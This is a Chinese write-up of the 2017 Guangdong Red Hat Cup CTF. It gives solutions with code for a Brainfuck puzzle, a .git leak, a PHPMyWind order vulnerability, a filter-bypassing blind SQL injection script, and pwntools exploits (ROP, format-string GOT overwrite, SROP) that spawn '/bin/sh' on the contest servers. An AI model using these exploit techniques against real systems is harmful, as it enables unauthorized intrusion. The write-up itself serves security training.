2017广东省红帽杯网络安全攻防大赛writeup

签到

扫码按操作即得

brian(Y)

打开题目,发现是一段字符:

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< ++++[ ->--- -<]>- ----- .<+++ +++[- >---- --<]>
----- ----- -.+.- ..--- ---.. <++++ +++[- >++++ +++<] >.<++ +++++ [->--
----- <]>-- -.+++ .++++ ++.<+ +++++ [->++ ++++< ]>+++ +++++ .<+++ +++[-
>---- --<]> ----- ----- .---- ---.+ +++++ +.<++ ++++[ ->+++ +++<] >++++
+++++ .<+++ +++[- >---- --<]> ----- ----- -.--. ---.< +++++ ++[-> +++++
++<]> ++++. <++++ +++[- >---- ---<] >.+++ +.+++ +.<++ +[->- --<]> ---.<
+++++ ++[-> +++++ ++<]> +++++ +.<++ ++++[ ->--- ---<] >---- ----- --.+.
-.-.. ---.+ +++.< +++++ +[->+ +++++ <]>++ +++++ ++++. <++++ +++[- >----
---<] >---. <++++ +++[- >++++ +++<] >++.< +++++ +[->- ----- <]>-- -----
----- .<+++ +++++ [->++ +++++ +<]>+ +++++ ++++. <

其实我是用解密网站直接搞

奈何队友很坚定的学原理、编程序

将以上文本内容保存为brian(Y).bf

观察可以发现每五个字符为一组,尝试上网搜索几个不同的字符分组后,发现为brainfuck这种编程语言,利用C语言编写的brainfuck解释器,运行代码得到结果。

解释器代码如下:

#define LEN 50000

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
    FILE *input = fopen(argv[1], "r");
    char source[LEN] = {0};
    char runtime[LEN] = {0};
    char *sptr, *wptr;
    int pos = 0;
    int wflag = 0;
    int line = 1, col = 0, wline, wcol;
    sptr = source;
    while (wflag || EOF!=fscanf(input, "%c", sptr))
    {
        if (!wflag)
            ++col;
        else
            ++wcol;
        switch (*sptr)
        {
            case ‘>‘ :
                ++pos;
                break;
            case ‘<‘ :
                if (--pos <0)
                {
                    printf("%d : %d : ERROR: Illegal pointer value\n", line, col);
                    return 1;
                }
                break;
            case ‘+‘ :
                ++runtime[pos];
                if (runtime[pos] < 0 || runtime[pos] > 255)
                {
                    if (!wflag)
                        printf("%d : %d : ERROR: Illegal value\n", line, col);
                    else
                        printf("%d : %d : ERROR: Illegal value\n", wline, wcol);
                    return 1;
                }
                break;
            case ‘-‘ :
                --runtime[pos];
                if (runtime[pos] < 0 || runtime[pos] > 255)
                {
                    if (!wflag)
                        printf("%d : %d : ERROR: Illegal value\n", line, col);
                    else
                        printf("%d : %d : ERROR: Illegal value\n", wline, wcol);
                    return 0;
                }
                break;
            case ‘.‘ :
                putchar(runtime[pos]);
                break;
            case ‘,‘ :
                runtime[pos]=getchar();
                break;
            case ‘[‘ :
                if (runtime[pos])
                    wptr = sptr-1;
                else
                    wflag = 0;
                wline = line;
                wcol = col;
                break;
            case ‘]‘ :
                sptr = wptr;
                wflag = 1;
                line = wline;
                col = wcol;
                break;
            case ‘\n‘ :
                if (!wflag)
                {
                    ++line;
                    col = 0;
                }
                else
                {
                    ++wline;
                    wcol = 0;
                }
                break;
        }
        ++sptr;
    }
    fclose(input);
    return 0;
}

编译后得到exe程序,命令行指令:bf.exe brian(Y).bf

结果如下:

flag{e676600a-06b4-4a20-b159-d5654415d0c3}

WEB

刮刮乐

打开

是.git泄露,直接使用lijiejie脚本

flag{027ea8c2-7be2-4cec-aca3-b6ba400759e8}

PHPMyWIND

额,一开始做出来,密码是000000还两次md5加密。。。没啥用,后来写wp改密码啦。。。

反正扫描没啥东西,找下它的漏洞,经过一番测试感觉order.php有问题

发现这个漏洞:http://0day5.com/archives/1442/

测试吧,加两个cookie先试试能找到点不能,发现订单

可以,按照他的走就行

找到密文解密即可

访问

后台

打开后

用户名admin,密码不知道,但提示是2017和时间,那就是2017XXXX,用burpsuite爆破即可

thinkseeker

打开,index.php~找到重要代码

<?php
error_reporting(0);
$token="e00cf25ad42683b3df678c61f42c6bda";

foreach($_GET as $key=>$value){
    if (is_array($value)){
        die("Bad input!");
    }
    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\‘|\"";
    if(preg_match("/".$p."/is",$value)==1){
        die("inj code!");
    }
}

parse_str($_SERVER[‘QUERY_STRING‘]);

if($token==md5("admin")){
    $link[email protected]_connect("XXXX","XXXX","XXXX");
    mysql_select_db("XXXX",$link);
    $sql="select * from user where userid = ".$userid;
    $query = mysql_query($sql);
    if (mysql_num_rows($query) == 1) {
        $arr = mysql_fetch_array($query);
        if($arr[‘password‘] == $password) {
            $sql="select * from info where infoid=".$infoid;
            $result=mysql_query($sql);
            $arr = mysql_fetch_array($result);
            if(empty($arr[‘content‘])){
                echo "error sql!";
            }else{
                echo $arr[‘content‘];
            }
        }else{
            echo "error password!";
        }
    }else{
        echo "error userid!";
    }
    mysql_close($link);
}else{
    echo "Bad token!";
}
?>
<html>
    <head>
        <title>web-test</title>
    </head>
    <body>
        <form action="" method="get">
            User ID:<input type="text" name="userid" length="50" /><br>
            Password:<input type="password" name="password" length="50" /><br>
            <input type="submit" value="submit"/>
        </form>
    </body>
</html>

过滤了非常多的东西,比如空格,,什么的,也不用管,只要select,from,ascii,substr有就可以尝试盲注,不过看代码还是先试一下传参

由于传入的参数没有用引号,所以不用管闭合问题,直接用%0a绕过

token可以直接用admin的md5变量覆盖,然后一开始infoid=1%0aor%0a1=1置真就行,然后由于userid只能有一个值,且由于password不知道原来的,没办法绕过,这样就想到了一个姿势

网址:(https://raz0r.name/other/phdays-2013-ctf-blade-writeup/

可以用with rollup,这个是统计组的信息,若没用任何统计函数(sum,avg…),多出的那一行的password列只能是NULL,所以之后password传参无就可以。

得到了一句提示,猜测是列名表名,先测试一下构造语句

可以知道当后面语句为真的时候返回的是flag is in flag!

脚本

import requests

dic=‘{}@#123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM‘
string = ‘‘

for i in range(1,40):
    for j in dic:
        url = ‘http://106.75.117.4:3083/?token=21232f297a57a5a743894a0e4a801fc3&userid=1%0a||%0a1%0agroup%0aby%0apassword%0awith%0arollup%0alimit%0a1%0aoffset%0a1&password=&infoid=1%0a%26%26%0aascii(substr((select%0aflag%0afrom%0aflag)from({0})))={1}‘.format(i,ord(j))
        #print url
        s=requests.get(url=url)
        text = s.content
        #print text
        if "flag" in text:
            string += j
            print string
            break
print string

PWN

pwn1

一个简单的栈溢出,开了nx防护,要用rop,因为32位系统加上pwntools的使用,利用组件rop即可。

from pwn import *
#context.log_level = ‘debug‘

binary = ELF(‘./pwn1‘)
p = remote(‘106.75.93.221‘,  10000)
p.recvline()

rop = ROP(binary)

rop.call(0x08048410,(0x08048629, 0x0804A040))

rop.system(0x0804A040)

payload = str(rop)

p.sendline(‘a‘*52 + payload )
p.sendline(‘/bin/sh‘)

p.interactive()

pwn2

下载文件后,IDA分析

明显的格式化字符串漏洞。

利用思路:(re2libc)

1.首先,泄漏system的地址,这里我使用pwntoolsDnyELF

2.然后,将printf函数的GOT表项,覆写为system 的地址,这样再次调用printf时,实际会调用system

3.最后,再次循环执行的时候,利用read 读入,/bin/sh字符串,这样printf(‘/bin/sh‘) , 会变成 system(‘/bin/sh‘)

EXP:

from pwn import *

#io = process(‘./pwn2_‘)
io =remote(‘106.75.93.221‘, 20003)
elf = ELF(‘./pwn2_‘)

#context.log_level = ‘debug‘

def leak(addr):
payload = ‘BB%9$s‘
payload += ‘AA‘
payload += p32(addr)
io.sendline(payload)
io.recvuntil(‘BB‘)
content = io.recvuntil(‘AA‘)
if(len(content) == 2):
print ‘[*] NULL‘
return ‘\x00‘
else:
print ‘[*] %#x ---> %s‘ % (addr, (content[0:-2] or ‘‘).encode(‘hex‘))
return content[0:-2]

#-------- leak system
d = DynELF(leak, elf=ELF(‘./pwn2_‘))
libc_addr = d.lookup(None, ‘libc‘)
log.info(‘libc_addr:‘ + hex(libc_addr))

d = DynELF(leak, libc_addr)
system_addr = d.lookup(‘system‘)
log.info(‘system_addr:‘ + hex(system_addr))

#-------- change GOT
printf_got = elf.got[‘printf‘]
log.info(hex(printf_got))

payload = fmtstr_payload(7, {printf_got: system_addr})
io.sendline(payload)

payload = ‘/bin/sh\x00‘
io.sendline(payload)

io.interactive()

pwn4

必须使用SROP,关于SROP请自行google

思路如下:

需要利用read的返回值条用其他的syscall

需要利用write泄露栈地址

需要利用read/bin/sh写入到stack一个我们已知的地址中

需要stack pivot到一个我们已知的地址

最后调用execve("/bin/sh")

理清楚劫持程序流后的流程就可以,exp如下:

#! python
from pwn import *

context.binary = ‘./pwn4‘

io = process(‘./pwn4‘)
io = remote(‘106.75.66.195‘, 11006)
#leak stack addr
payload = p64(0x4000b0)
payload += p64(0x4000b3)
payload += p64(0x4000b0)

io.sendline(payload)
io.send(‘\xb3‘)
sleep(2)
LeakMsg = io.recvn(0x400)
leak_addr = u64(LeakMsg[0x8:0x8+8])
log.info("leak_addr:"+hex(leak_addr))

stack_addr = leak_addr-0x500
log.info("stack_addr:"+hex(stack_addr))

binsh_addr = stack_addr+0x300
log.info("binsh_addr:"+hex(binsh_addr))

#write /bin/sh to stack
syscall_addr = 0x4000be
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr

payload1 = p64(0x4000b0)+p64(syscall_addr) #signturn
payload1 += str(frame)

io.sendline(payload1)
sleep(2)
io.send(payload1[0x8:0x8+15])
sleep(2)
#execve("/bin/sh")
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rip = syscall_addr

payload2 = p64(0x4000b0)+p64(syscall_addr)
payload2 += str(frame)
payload2 += ‘a‘ * (0x300-len(payload2)) + ‘/bin/sh\x00‘

io.sendline(payload2)
sleep(2)
io.send(payload2[0x8:0x8+15])
sleep(2)
io.interactive()

pwn5

这题使用了canary防护,但是是送分题,利用报错输出就可以,爆破因为之前已经将flag地址读到程序中还是bss段,直接栈上喷上flag的地址就可以拿到flag。

from pwn import *
context.log_level = ‘debug‘

#p = process(‘./pwns‘)
p = remote(‘106.75.93.221‘,10003)

p.recv()
payload = p32(0x0804A080)*100
p.sendline(payload)
p.recv()
p.recv()

时间: 2025-01-18 09:06:06

2017广东省红帽杯网络安全攻防大赛writeup的相关文章

云南省举办首届互联网网络安全攻防演练大赛

云南省举办首届互联网网络安全攻防演练大赛 7月4日,云南省首届互联网网络安全攻防演练大赛在昆明举行.全省29支代表队共80名选手进行了5个半小时的现场对抗. 本次大赛由云南省互联网协会和国家计算机网络应急技术处理协调中心云南分中心主办,北京易霖博信息技术有限公司(www.51elab.com)协办.大赛为参赛队伍提供交流.展示.学习的平台,全面考验参赛队伍的渗透测试.漏洞分析.漏洞修复.安全防护等安全防护实战能力.通过网络安全攻防比赛的方式,宣传普及网络安全知识,提高用户网络安全防护意识,推动网

2017年陕西省网络空间安全技术大赛WP

前言 为提高大学生的网络安全技术水平,培养大学生的团队协作能力,由陕西省兵工学会主办,西安工业大学承办的"2017年第三届陕西省网络空间安全技术大赛"即将于2017年4月15-16日进行线上初赛,2017年5月13日进行线下总决赛.文章为本次大赛第一名的队伍Mirage的writeup. web 签到题 直接源代码代码审计,php弱类型 然后第二关 构造 1 <?php class a{ var $key; } $b = new a(); $b->key=0; $c=jso

2016网络安全攻防赛记录

打了一天比赛.本来感受颇多,提笔却不知从哪说起,很多比赛时候的切身体验很难用文字来表达出来,就使用流水账的形式简单说下这次的比赛吧 . 2016CNcert网络年会&2016网络安全对抗赛是国家互联网应急中心主办, 比赛模式为线下攻防赛,通过CNcert的初选共有39支队伍在成都参加线下决赛. 比赛共三轮, 每20分钟刷新一波flag,每提交对手一个flag得5分,被对手提交一个flag失10分,每个队伍的flag20分钟只能提交一次, 拓扑图如下: 第一轮 9:00--10:00 漏洞:(题目

2017盛大游戏杯 零件组装(状态压缩DP之巧妙枚举子集)

题目链接:2017盛大游戏杯 零件组装 题意: 有n个零件,给你相邻关系和排斥关系,每两块零件组装起来有一个代价,问最少的代价总和是多少. 题解: 考虑状态压缩,dp[i]表示i这个集合为一个零件块. 那么要枚举一下i的子集.O(3^n). 先要预处理一下每个集合的排斥个数和相邻个数,然后容斥一下就可以了. 1 #include<bits/stdc++.h> 2 #define mst(a,b) memset(a,b,sizeof(a)) 3 #define F(i,a,b) for(int

OOTV杯超级模式大赛——模式总结

设计模式的学习就要结束了,这么些天,一直徜徉在大鸟和小菜的故事世界之中.那一段段经典的对话,那一个个有趣而又充满知识的经历,真的让自己受益匪浅. 除此之外,那场OOTV杯超级模式大赛,真的很精彩.那么,就让我们随着比赛的脚步,再一次充当观众,一起去回味,再次领略各种模式的魅力所在. 主持人--GOF,首先出现在台前给大家问好.可能有人就会问了,为什么主持人会是她呢?其实,学习了设计模式的同学都知道,GOF来头可不小.下面就让我先给大家对GOF做一个简单介绍吧. GOF,全称Gang ofFour

2012年第三届西安电子科技大学网络攻防 大赛暨网络渗透部分通关方案 V2.0

2012年第三届西安电子科技大学网络攻防 大赛暨网络渗透部分通关方案 V2.0 南国利剑 Cyberpolice http://weibo.com/nanguojian 前 言: 本次比赛由西电信息安全协会 主办官方站点:https://csc.xdsec.org 10.1-10.15日.注册时间截止于10月10日.请参赛队伍合理分配时间. --XDSEC 0X000 第一关:本地关闭javascript查看网页源码,箭头所指部分为加密部分为十六进制加密 解密得Key:f1rsTPa5skey

第十一届GPCT杯大学生程序设计大赛完美闭幕

刚刚过去的周六(6月7号)是今年高考的第一天,同一时候也是GPCT杯大学生程序设计大赛颁奖的日子,以下我们用图文再回想一下本次大赛颁奖的过程. 评审过程的一些花絮<感谢各位评审这些天的付出!>: 感谢葡萄城给我的这次的锻炼的机会,让我学会了非常多,也明确了非常多!最重要的是感谢评委们!你们辛苦了! 感谢MTV-我在上嵌入式课-- 永远别忘了为你付出的人,成就永远不属于一个人.就是装也得怀有一颗谦卑感恩之心.版主大人受小弟一拜! 再次感谢品审大人,我们组还非常多要改进的,到时候一定要跟各路大神好

360打破欧美垄断勇夺黑客攻防大赛“世界冠军”

2015-03-19 09:06:00 来源: 中国新闻网(北京) 中新网3月19日电 在加拿大温哥华举行的Pwn2Own 2015世界黑客大赛上,来自中国的安全研究团队360Vulcan Team仅用时17秒就率先攻破微软Win8.1系统和最新的IE11浏览器.这是亚洲团队首次在世界大赛攻破IE,从而一举打破了欧美国家在该项目上的统治地位. 图:360Vulcan Team安全团队在世界黑客大赛夺冠 Pwn2Own是全球公认级别最高的黑客大赛,比赛主办方为惠普ZDI项目,微软.Google.苹

2015游戏蛮牛——蛮牛杯第四届开发者大赛 创见VR未来开启报名

蛮牛杯启动了,大家开始报名!?http://cup.manew.com/ ? 这不是一篇普通的通稿,别着急忽略它.它是一篇可以让你梦想变现的通稿! ? 从某一天开始,游戏蛮牛就立志要为开发者服务,我们深知这一切的重要性,大家都亲切的称我们为"公益组织","为开发者服务"也成为了我们一直遵循的信仰. ? 然而在过去的几年,虚拟现实吸引了巨大的投资,估值高达130亿美元.涉及领域包括应用.内容.内容开发工具.平台.实景捕捉工具.VR内容分发平台.头显以及输入硬件.那些公